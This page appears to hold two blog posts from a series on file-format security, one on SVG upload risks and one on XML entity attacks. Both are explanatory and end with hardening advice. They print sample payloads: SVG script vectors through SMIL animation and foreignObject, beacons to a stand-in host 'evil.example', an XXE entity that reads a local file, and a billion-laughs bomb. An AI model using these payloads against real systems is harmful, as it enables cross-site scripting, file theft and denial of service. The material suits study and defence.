Xml
-
An SVG Is Not an Image
This series started two weeks ago with the question of what a file actually is. It ends with the format that answers “all of the above.”
An SVG is an image. It is also an XML document, which means everything in the XML post applies to it: entities, external references, the whole surface. It is also a CSS host, a stylesheet target, an animation timeline, and, when rendered in the wrong context, a JavaScript execution environment.
Your image upload endpoint accepts all of that.
What the First Filter Misses
Here is the sanitizer nearly everyone writes first, and I include myself in that:
def naive_sanitize(s): return re.sub(r"<script\b[^>]*>.*?</script\s*>", "", s, flags=re.I | re.S)Strip the script tags. Reasonable. Here are nine payloads, all of them well-formed XML that a strict parser accepts without complaint, run through it:
payload well-formed XML survives <script> strip ---------------------------------------------------------------------- script element yes no onload on root yes yes onerror on image yes yes javascript: href yes yes animate to js url yes yes foreignObject html yes yes external stylesheet yes yes remote image beacon yes yes use with remote ref yes yesEight out of nine. The interesting ones are not the obvious event handlers:
<svg xmlns="http://www.w3.org/2000/svg"> <a><animate attributeName="href" to="javascript:x()"/> <rect width="9" height="9"/></a> </svg>That is SMIL animation rewriting a link’s
hrefat runtime to ajavascript:URL. No script element, noon*attribute, nothing a string filter is looking for. It is a legitimate use of a documented SVG feature to change an attribute over time, and the attribute it changes happens to be one that gets navigated.<svg xmlns="http://www.w3.org/2000/svg"> <foreignObject> <iframe xmlns="http://www.w3.org/1999/xhtml" src="..."/> </foreignObject> </svg>foreignObjectis the element that lets you embed a different XML vocabulary inside SVG. Usually that means HTML. So an SVG can contain an entire HTML document, which means anything you could do with an HTML injection you can do inside an image file.And two of them are not script at all:
<image href="https://evil.example/px.png?c=1"/> <use href="https://evil.example/e.svg#p"/>Those are outbound network requests from an image. If your SVG renders in a document context, opening it phones home with the viewer’s IP and referrer. No code executed, nothing to strip, and a naive filter has no opinion because there is no script involved.
The Real Boundary Is the Tag, Not the File
The important thing about SVG security is that the same bytes behave differently depending on how the page includes them. MDN states the restriction plainly:
For security purposes, some browsers place restrictions on SVG content when it’s being used as an image. Specifically, the following limitations may apply:
- JavaScript is disabled.
- External resources (e.g., images, stylesheets) cannot be loaded, though they can be used if inlined through data: URLs.
- :visited-link styles aren’t rendered.
- Platform-native widget styling (based on OS theme) is disabled.
Note the phrasing: “some browsers” and “may apply.” That is a specification-shaped hedge, and this is a security boundary.
The boundary holds for
<img src="user.svg">and for CSSbackground-image. It does not exist for<object>,<embed>,<iframe>, inline<svg>pasted into your DOM, or the case people forget, a user navigating directly tohttps://yoursite.com/uploads/user.svg. That last one runs with your origin, which means the uploaded file has your cookies.So the answer to “is it safe to accept SVG uploads” is not a property of the file. It is a property of every place the file might later be rendered, including places you did not write, like a support tool that displays attachments inline.
It Is Still XML, So the Bomb Still Works
Everything from the XML post carries over unchanged, because SVG did not define its own parser. It said “this is XML” and inherited the entity system.
Here is an entity bomb in an SVG, expanded by two Python parsers:
levels=3 source 299 bytes ElementTree: 3,000 chars lxml: 3,000 chars levels=4 source 357 bytes ElementTree: 30,000 chars lxml: 30,000 chars levels=5 source 415 bytes ElementTree: 300,000 chars lxml: Maximum entity amplification factor exceeded levels=6 source 473 bytes ElementTree: 3,000,000 chars lxml: Maximum entity amplification factor exceededlibxml2 has the amplification limit I wrote about six days ago, and it fires exactly where it should. Python’s standard library
xml.etree.ElementTreehas no such limit. A 473-byte file expands to three million characters, and adding one more line makes it thirty million.This is not a hypothetical for image handling. If any part of your pipeline parses the SVG rather than just rasterizing it, which is what every thumbnailer, dimension-extractor, and metadata-stripper does, that parser is the one that has to survive the input.
defusedxmlexists for this and takes one import to adopt.
The Format Is Good, Actually
I have spent most of this post on the attack surface, so let me be fair about the design, because SVG got a hard thing right.
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="600" viewBox="0 0 400 300" preserveAspectRatio="xMidYMid meet">Two coordinate systems, cleanly separated.
widthandheightare how much room the image takes up on the page.viewBoxis the coordinate space the drawing commands are written in. The renderer computes the scale factors between them and appliespreserveAspectRatioto decide what happens when they disagree:meetfits the whole drawing inside,slicefills the box and clips,nonestretches.That separation is why one SVG file is correct at 16 pixels and at 4,000, and why every icon system on the web is SVG now. None of the raster formats in this series can do it. PNG, JPEG, and GIF all encode a grid of samples at one resolution, and everything after that is interpolation.
The path syntax is similarly good.
Mmoves,Llines,Cis a cubic Bézier,Zcloses, lowercase means relative. Six letters and some numbers describe any curve, in text, diffable in git, editable by hand.The problem is not the drawing model. The problem is that the same document that describes the curve can also describe a script, and both are in the same file, delivered by the same upload form.
What To Do About It
- Never write your own SVG sanitizer. Use DOMPurify with
USE_PROFILES: {svg: true}, or a server-side equivalent that works on a parsed tree with an allowlist. The blocklist approach loses, always, and this post is nine examples of why. - Serve user uploads from a separate origin. Not a subdomain of your app, a different registrable domain, so a direct navigation to the file cannot touch your cookies or localStorage.
- Set
Content-Security-Policy: default-src 'none'; sandboxon upload responses, plusContent-Disposition: attachmentif you never need inline display. - Render through
<img>, never<object>or inline. The restrictions MDN lists only apply in image context. If a designer asks to inline the SVG so they can style it with CSS, that request converts a sandboxed file into an executable one. - Use
defusedxmlin every pipeline stage that parses. Your thumbnailer is a parser. So is your dimension check. - Consider rasterizing on upload. If you accept SVG from users and only ever display it at known sizes, converting to PNG at ingest removes the entire category and costs you resolution independence you were not using anyway.
Fifteen posts, and the pattern held every time. CSV had no standard and everyone wrote their own. JSON had a small standard and everyone filled the gaps differently. YAML fixed its bug and the fix never landed. XML specified everything and shipped the dangerous defaults. PDF and SQLite both keep what you told them to delete. JPEG exposes one control that means nothing. GIF’s most famous feature is not in its specification at all.
SVG is the one where all of it lands at once, because SVG is not really a format. It is XML plus a drawing vocabulary plus CSS plus SMIL plus a scripting host, wearing a
.svgextension so that your upload validator sees an image.The file extension is a suggestion. It always was. That is where this series started, and it turns out to be where it ends.
Sources
- SVG 1.1 (Second Edition) — the W3C Recommendation; the coordinate system rules are in the coords chapter
- SVG 2 — the current draft;
hrefreplacesxlink:href, geometry moves into CSS - MDN: SVG as an image — the restrictions that apply in image context, and the hedged language they are stated in
- DOMPurify — the sanitizer to use instead of the one you were about to write
- OWASP File Upload Cheat Sheet — separate origin, content disposition, and why extension checks are not validation
- defusedxml — for every stage of the pipeline that parses rather than renders
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
-
Every XML Feature Is One You Turn Off
Last post ended on a question. XML is the format in this series that specified everything, so what did all that specifying buy?
An answer for every question, and an attack surface made entirely of answers.
The other formats in this series failed by leaving things out. CSV never had a standard. JSON declined to say what a number means. YAML wrote the rules down and then most implementations kept using the old ones. XML failed the other way. It defined a schema language, a query language, a transformation language, a namespace system, and an entity system, and the entity system will read files off your disk.
Two Kinds of Correct
Start with something XML got right, because it is the only format here that made this distinction at all.
The specification defines two separate bars:
A data object is an XML document if it is well-formed, as defined in this specification. In addition, the XML document is valid if it meets certain further constraints.
Well-formed is syntax. Tags match, there is one root, attributes are quoted. Valid is semantics: the document declares a schema and conforms to it.
CSV has neither concept. JSON has only the first one. XML separated them in 1998, which was ahead of its time, and then almost nobody used the second one. Most XML in production is well-formed and unvalidated, which means it has exactly the same guarantees as JSON with more punctuation.
The Entity System
XML documents are built from entities. Five are predefined, and you know them:
& < > " 'You can also declare your own in the document type declaration, which is how you get constants in a config file. And an entity can be declared to pull its content from somewhere else:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///tmp/xmltest/secret.txt"> ]> <foo>&xxe;</foo>That is a legal XML document.
SYSTEMmeans “go get it.” Here is what a parser does with it:ElementTree ParseError: undefined entity &xxe; lxml XMLSyntaxError: Entity 'xxe' not defined defusedxml EntitiesForbidden(name='xxe', system_id='file:///tmp/xmltest/secret.txt') lxml, resolve_entities=True 'SECRET-CANARY-12345\n'The first three refuse. The fourth read a file off the disk and put its contents in the document tree.
The difference between the second line and the fourth is one keyword argument. Not a patch, not an old version, not a misconfiguration. A parser option, on a current library, named after something that sounds like ordinary XML processing. Of course you want entities resolved. Entities are how the format works.
This is XXE, and it is not a bug in any implementation. Every one of those parsers is behaving as specified. The specification says an external entity is fetched, so the ones that fetch it are correct and the ones that refuse are deliberately non-conforming for your safety.
The Bomb That Got Fixed
The same entity system nests, which produces the XML version of the billion laughs attack:
<!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> ]>Each level multiplies by ten. A 291-byte file at three levels expands to 3,000 characters. Add two more levels and the arithmetic says 300,000, and the file is still under 500 bytes.
Except it doesn’t, and this is the part worth reporting honestly. At five levels, current libxml2 stops:
XMLSyntaxError: Maximum entity amplification factor exceeded, see xmlCtxtSetMaxAmplificationIt refuses even with
resolve_entities=True. Somebody went and put a ratio limit in the parser, and it works. Compare that to YAML, wheresafe_loadstill expands aliases without complaint, and the equivalent 202-byte payload produced 74,732 nodes with no objection at all.So the XML ecosystem fixed the denial-of-service and left the file-read one flag away. That ordering tells you something about which failure people actually hit.
What the Rest of It Bought
XML shipped an enormous amount of specification, and the pieces are individually good:
- XSD defines 19 primitive datatypes with real inheritance, so
<price>12.50</price>can be a decimal rather than a hopeful string. This is precisely what CSV lacks and what JSON refuses to commit to. - XPath addresses any node in a document without writing a traversal.
- XSLT transforms one document into another declaratively.
- Namespaces let two vocabularies coexist in one file without colliding, which is the problem every format in this series either ignores or solves with a naming convention.
None of that is bad engineering. Read the list again and notice that it is a description of the problems the other five posts were about. XML solved them. In 1998.
The cost was that using XML correctly means knowing which parts to switch off, and the defaults were set in an era that assumed documents came from people you knew. Every hardening guide for XML is a list of features to disable: no DTDs, no external entities, no network access, no schema fetching.
There is a version of this where the lesson is “XML was too complicated.” I don’t think that’s it. The formats that replaced it are simpler and they have the same problems, plus the ones XML had already solved. Nobody misses XSLT, and everybody has now written their own worse version of it.
What To Do About It
- Disable DTD processing entirely unless you know you need it. In Python that is
defusedxml; in Java it isdisallow-doctype-decl. This closes XXE and entity expansion in one move. - Never enable
resolve_entitieson input you did not write. It is the single flag that turns a parser into a file reader. - Validate against a schema at the trust boundary, not just parse. Well-formed is not a security property. It is barely a correctness property.
- Stream large documents. SAX and StAX read in constant memory; DOM builds the whole tree first, which is its own denial of service if the document is attacker-sized.
- Know your parser’s defaults and pin them explicitly. They have changed over time, usually toward safety, and code that relies on a safe default is one dependency upgrade from a different one.
XML answered every question these posts have raised. It has types, a validation model, a query language, and a namespace system, and it had all of them a decade before the formats that replaced it. What it could not do was make the safe path the default one, and that turned out to matter more than any of the rest of it.
That is the actual pattern across this whole series. Not that formats are underspecified or overspecified, but that the defaults are the specification most people ever use.
Sources
- XML 1.0 (Fifth Edition) — 26 November 2008; the well-formed and valid definitions, and the five predefined entities
- XML 1.0 (First Edition) — 10 February 1998, the original Recommendation
- XML 1.1 — 4 February 2004; the revision almost nobody adopted
- XSD 1.1 Part 2: Datatypes — the 19 primitive datatypes
- OWASP XXE Prevention Cheat Sheet — per-parser hardening settings
- defusedxml — the Python library that turns the dangerous parts off for you
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
- XSD defines 19 primitive datatypes with real inheritance, so